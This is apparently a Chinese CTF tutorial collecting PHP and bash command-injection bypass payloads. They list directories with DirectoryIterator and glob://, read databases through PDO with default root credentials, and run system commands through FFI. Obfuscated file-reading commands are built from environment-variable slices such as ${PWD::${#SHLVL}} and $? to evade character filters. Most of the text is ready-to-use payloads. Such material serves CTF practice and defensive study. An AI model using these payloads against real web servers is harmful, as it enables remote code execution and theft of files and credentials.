DirectoryIterator类

根据官方说法,这是一个提供了简单的接口,用于查看文件系统目录的内容的类,其中__toString()可以用来返回new对象时的参数中的目录内容

通常,该类会结合glob://伪协议读取需要的文件夹下的内容,比如根目录就会用glob:///*

下面是一个简单的payload

?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f-
>__toString().'');}exit(0);?>

PDO类

同样先看看官方说法,说是为 PHP 访问数据库定义了一个轻量级的一致接口。

看着听绕口,实际上很好理解。只需要知道这是一个可以读取数据库的类即可。不过需要账号密码,这里就需要通过其他方式获取。

利用如下payload,就可以列出库名

$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select database()");
foreach($rs as $row){
        echo($row[0])."|"; 
}

FFI

FFI是一个可以在php中调用外部语言命令的拓展,所以我们就可以利用这个拓展执行一些C语言命令,比如最典的system();

下面是一个比较常用的payload

c=$ffi = FFI::cdef("int system(const char *command);");
$a='/readflag > 1.txt';
$ffi->system($a);

如果出现类似下面这样的回显

就证明已经利用完成

环境变量构造命令

直接来看环境变量是如何使用的

# echo ${PWD} 
/root

# echo ${PWD:0:1}      #表示从0下标开始的第一个字符
/           

# echo ${PWD:~0:1}      #从结尾开始往前的第一个字符
t

# echo ${PWD:~0}      
t

# echo ${PWD:~A}       #所以字母和0具有同样作用             
t

# echo ${PATH}                            
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

相信看到这里你一定知道要怎么构造查看指令了。也就是说,我们可以利用环境变量的输出结果来构造一个类似cat或者nl这样的文件查看指令,就能达到预期效果

具体要怎么构造?先来看看下面这个窗口

在网页目录使用${PATH:~A}时,结果是n。${PWD:~A}的结果是l。为什么呢?很简单,这个n和l分别对应bin和html的最后一个字母。学会了吗?

更高级的环境变量利用

就算所有数字全给我锁死了,只要能调用环境变量,也还是有办法利用

0:可以用字符代替
1:${#SHLVL}=1,或者${##}、${#?}。

##SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${#SHLVL}=1,然后在此shell中再打开一个shell时${#SHLVL}=2。

2:用wappalyzer插件可以看到php的版本是7.3.22,所以2可以用${PHP_VERSION:~A}代替。
3:${#IFS}=4。(部分linux下是3,mac里是4)
4或者5:${#RANDOM}返回的值大多数是4和5,其中5的概率多一些。(linux下)

再结合下面这几个常见变量值

${PWD} :/var/www/html #可以利用这里的斜杠
${USER} :www-data #可以利用这里的a
${HOME} :当前用户的主目录(常见危险的就是root)#看情况利用,比方说root可以利用t

例如读取flag.php这个文件,首先知道能够利用/???/?a? ????.???这样的方法读取到文件,可是如果部分符号被禁用了,只能用${}?这几个符号,就可以构造下面三种payload

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}? ????.???  #原型:/???/?a? ????.???
${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${USER:~${#SHLVL}:${#SHLVL}} ????.??? #原型:/???/??t ????.???
${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.??? #原型:/???/??t ????.??? 
#HOSTNAME的值一般是开启web服务的用户名
#这里${#}值为0,${#...}的意思是相应...变量值的长度,例如HOSTNAME在这里的值是root,那么${#HOSTNAME}就等于4

rev

用来反向输出内容,可以是文件也可以是字符串

结合上面的环境变量可以构造出下面这样的payload

code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???  #原型:/???/r??
code=${PWD::${#?}}???${PWD::${#?}}??${PWD:${#?}:${#?}} ????.???  #原型:/???/??v

$?

$?表示上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。一部分命令失败会返回1,也有一些命令返回其他值,表示不同类型的错误,比如Command not found返回127

为了能够让$?可以输出1,那么就需要让前一条命令是错误的,这个错误命令的返回值是1,可以用<A

为什么要用<A?这里<的作用是使用zsh(一种很像bash的unix shell)运行命令,而<A提示的错误是no such file or dictionary,对应错误码是1。而比较经典的Command not found 的错误码则是127。这就是为什么不直接使用A;当错误语句的原因。至于其他错误码是什么,还有待考究

下面就这个方法提供一个常见读取flag.php的payload

<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

一个小tips

看到上面这段payload了吗?和下面这段有什么区别呢?

是不是乍一看觉得一模一样?其实有经验的师傅应该一眼就看出蓝色代表了换行
所以要是检查了payload无误后又出现奇怪的报错告诉你没法执行,检查一下有没有可能是换行导致的